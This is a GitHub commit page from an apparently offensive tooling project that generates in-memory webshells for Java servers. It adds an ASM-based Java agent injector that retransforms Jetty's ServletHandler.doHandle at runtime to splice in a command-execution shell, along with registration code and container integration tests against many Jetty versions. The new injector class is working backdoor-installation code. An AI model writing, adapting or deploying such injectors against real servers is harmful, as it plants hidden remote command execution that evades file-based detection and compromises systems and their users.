Skip to content

Commit 1f232d1

Browse files
committed
feat: support jetty command agent with asm (#51)
1 parent 1ca73c0 commit 1f232d1

File tree

16 files changed

+412
-16
lines changed

16 files changed

+412
-16
lines changed

Diff for: generator/src/main/java/com/reajason/javaweb/memshell/Server.java

+2
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@
99
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
1010
import com.reajason.javaweb.memshell.shelltool.command.*;
1111
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
12+
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
1213
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
1314
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
1415
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
@@ -232,6 +233,7 @@ public enum Server {
232233
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
233234
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
234235
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
236+
.addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class)
235237
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
236238
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
237239
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)

Diff for: generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

+1
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@ public class ShellType {
2626
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
2727
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
2828
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
29+
public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
2930
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
3031
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
3132
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";

Diff for: generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java

+2-4
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,6 @@
11
package com.reajason.javaweb.memshell.server;
22

3-
import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector;
4-
import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
5-
import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
6-
import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
3+
import com.reajason.javaweb.memshell.injector.jetty.*;
74
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
85
import net.bytebuddy.asm.Advice;
96
import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -43,6 +40,7 @@ public InjectorMapping getShellInjectorMapping() {
4340
.addInjector(LISTENER, JettyListenerInjector.class)
4441
.addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
4542
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
43+
.addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
4644
.build();
4745
}
4846
}

Diff for: integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Jetty10ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Jetty;
54-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
56+
ShellType.JETTY_AGENT_HANDLER,
57+
ShellType.JETTY_AGENT_HANDLER_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5761
}

Diff for: integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java

+4-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,10 @@ public class Jetty11ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Jetty;
54-
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JETTY_AGENT_HANDLER);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER,
56+
ShellType.JETTY_AGENT_HANDLER,ShellType.JETTY_AGENT_HANDLER_ASM
57+
);
5558
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
5659
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
5760
null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta

Diff for: integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java

+3-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,9 @@ public class Jetty61ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Jetty;
54-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER
56+
);
5557
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
5658
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5759
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
package com.reajason.javaweb.integration.jetty;
2+
3+
import com.reajason.javaweb.integration.TestCasesProvider;
4+
import com.reajason.javaweb.memshell.Packers;
5+
import com.reajason.javaweb.memshell.Server;
6+
import com.reajason.javaweb.memshell.ShellTool;
7+
import com.reajason.javaweb.memshell.ShellType;
8+
import lombok.extern.slf4j.Slf4j;
9+
import net.bytebuddy.jar.asm.Opcodes;
10+
import org.junit.jupiter.api.AfterAll;
11+
import org.junit.jupiter.params.ParameterizedTest;
12+
import org.junit.jupiter.params.provider.Arguments;
13+
import org.junit.jupiter.params.provider.MethodSource;
14+
import org.testcontainers.containers.GenericContainer;
15+
import org.testcontainers.containers.Network;
16+
import org.testcontainers.containers.wait.strategy.Wait;
17+
import org.testcontainers.images.builder.ImageFromDockerfile;
18+
import org.testcontainers.junit.jupiter.Container;
19+
import org.testcontainers.junit.jupiter.Testcontainers;
20+
21+
import java.util.List;
22+
import java.util.stream.Stream;
23+
24+
import static com.reajason.javaweb.integration.ContainerTool.*;
25+
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
26+
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
27+
import static org.hamcrest.MatcherAssert.assertThat;
28+
29+
/**
30+
* @author ReaJason
31+
* @since 2024/12/7
32+
*/
33+
@Slf4j
34+
@Testcontainers
35+
public class Jetty75ContainerTest {
36+
public static final String imageName = "reajason/jetty:7.5.4-jdk6";
37+
static Network network = Network.newNetwork();
38+
@Container
39+
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
40+
.withDockerfile(neoGeorgDockerfile))
41+
.withNetwork(network);
42+
@Container
43+
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
44+
.withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
45+
.withCopyToContainer(jattachFile, "/jattach")
46+
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
47+
.withNetwork(network)
48+
.withNetworkAliases("app")
49+
.waitingFor(Wait.forHttp("/app"))
50+
.withExposedPorts(8080);
51+
52+
static Stream<Arguments> casesProvider() {
53+
Server server = Server.Jetty;
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
56+
ShellType.JETTY_AGENT_HANDLER,
57+
ShellType.JETTY_AGENT_HANDLER_ASM
58+
);
59+
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
60+
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
61+
}
62+
63+
@AfterAll
64+
static void tearDown() {
65+
String logs = container.getLogs();
66+
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
67+
}
68+
69+
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
70+
@MethodSource("casesProvider")
71+
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
72+
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
73+
}
74+
}

Diff for: integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Jetty76ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Jetty;
54-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
56+
ShellType.JETTY_AGENT_HANDLER,
57+
ShellType.JETTY_AGENT_HANDLER_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5761
}

Diff for: integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Jetty81ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Jetty;
54-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
56+
ShellType.JETTY_AGENT_HANDLER,
57+
ShellType.JETTY_AGENT_HANDLER_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5761
}

Diff for: integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java

+6-1
Original file line numberDiff line numberDiff line change
@@ -52,14 +52,19 @@ public class Jetty92ContainerTest {
5252

5353
static Stream<Arguments> casesProvider() {
5454
Server server = Server.Jetty;
55-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
55+
List<String> supportedShellTypes = List.of(
56+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
57+
ShellType.JETTY_AGENT_HANDLER
58+
// ShellType.JETTY_AGENT_HANDLER_ASM // 内置 ASM,但是版本较低 5.0.1, API 不兼容
59+
);
5660
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
5761
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5862
}
5963

6064
@AfterAll
6165
static void tearDown() {
6266
String logs = container.getLogs();
67+
log.info(logs);
6368
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
6469
}
6570

Diff for: integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Jetty93ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Jetty;
54-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
56+
ShellType.JETTY_AGENT_HANDLER,
57+
ShellType.JETTY_AGENT_HANDLER_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5761
}

Diff for: integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java

+5-1
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Jetty94ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Jetty;
54-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
56+
ShellType.JETTY_AGENT_HANDLER,
57+
ShellType.JETTY_AGENT_HANDLER_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5761
}

Diff for: memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java

+2-2
Original file line numberDiff line numberDiff line change
@@ -54,8 +54,8 @@ private static void launch(Instrumentation inst) throws Exception {
5454
.ignore(ElementMatchers.none())
5555
.disableClassFormatChanges()
5656
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
57-
.with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
58-
.with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
57+
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
58+
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
5959
.type(named("org.eclipse.jetty.servlet.ServletHandler"))
6060
.transform(new JettyHandlerAgentInjector())
6161
.installOn(inst);
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
package com.reajason.javaweb.memshell.injector.jetty;
2+
3+
import org.objectweb.asm.*;
4+
5+
import java.lang.instrument.ClassFileTransformer;
6+
import java.lang.instrument.Instrumentation;
7+
import java.lang.reflect.Constructor;
8+
import java.security.ProtectionDomain;
9+
10+
/**
11+
* @author ReaJason
12+
* @since 2025/3/26
13+
*/
14+
public class JettyHandlerAgentWithAsmInjector implements ClassFileTransformer {
15+
private static final String TARGET_CLASS = "org/eclipse/jetty/servlet/ServletHandler";
16+
private static final String TARGET_METHOD_NAME = "doHandle";
17+
18+
static Constructor<?> constructor = null;
19+
20+
static {
21+
try {
22+
Class<?> clazz = Class.forName(getClassName());
23+
constructor = clazz.getConstructors()[0];
24+
constructor.setAccessible(true);
25+
} catch (Exception e) {
26+
e.printStackTrace();
27+
}
28+
}
29+
30+
public JettyHandlerAgentWithAsmInjector() {
31+
}
32+
33+
@Override
34+
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
35+
ProtectionDomain protectionDomain, byte[] bytes) {
36+
if (TARGET_CLASS.equals(className)) {
37+
try {
38+
ClassReader cr = new ClassReader(bytes);
39+
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
40+
@Override
41+
protected ClassLoader getClassLoader() {
42+
return loader;
43+
}
44+
};
45+
ClassVisitor cv = getClassVisitor(cw);
46+
cr.accept(cv, ClassReader.EXPAND_FRAMES);
47+
return cw.toByteArray();
48+
} catch (Exception e) {
49+
e.printStackTrace();
50+
}
51+
}
52+
return bytes;
53+
}
54+
55+
public static String getClassName() {
56+
return "{{advisorName}}";
57+
}
58+
59+
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
60+
return new ClassVisitor(Opcodes.ASM9, cv) {
61+
@Override
62+
public MethodVisitor visitMethod(int access, String name, String descriptor,
63+
String signature, String[] exceptions) {
64+
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
65+
if (TARGET_METHOD_NAME.equals(name)) {
66+
try {
67+
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
68+
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
69+
} catch (Exception e) {
70+
e.printStackTrace();
71+
}
72+
}
73+
return mv;
74+
}
75+
};
76+
}
77+
78+
public static void premain(String args, Instrumentation inst) throws Exception {
79+
launch(inst);
80+
}
81+
82+
public static void agentmain(String args, Instrumentation inst) throws Exception {
83+
launch(inst);
84+
}
85+
86+
private static void launch(Instrumentation inst) throws Exception {
87+
System.out.println("MemShell Agent is starting");
88+
inst.addTransformer(new JettyHandlerAgentWithAsmInjector(), true);
89+
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
90+
String name = allLoadedClass.getName();
91+
if (TARGET_CLASS.replace("/", ".").equals(name)) {
92+
inst.retransformClasses(allLoadedClass);
93+
}
94+
}
95+
System.out.println("MemShell Agent is working at org.eclipse.jetty.servlet.ServletHandler.doHandle");
96+
}
97+
}

Diff for: memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentWithAsmInjector.java

-2
Original file line numberDiff line numberDiff line change
@@ -62,11 +62,9 @@ public static ClassVisitor getClassVisitor(ClassVisitor cv) {
6262
public MethodVisitor visitMethod(int access, String name, String descriptor,
6363
String signature, String[] exceptions) {
6464
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
65-
System.out.println(name);
6665
if (TARGET_METHOD_NAME.equals(name)) {
6766
try {
6867
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
69-
System.out.println(argumentTypes.length);
7068
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
7169
} catch (Exception e) {
7270
e.printStackTrace();

0 commit comments

Comments
 (0)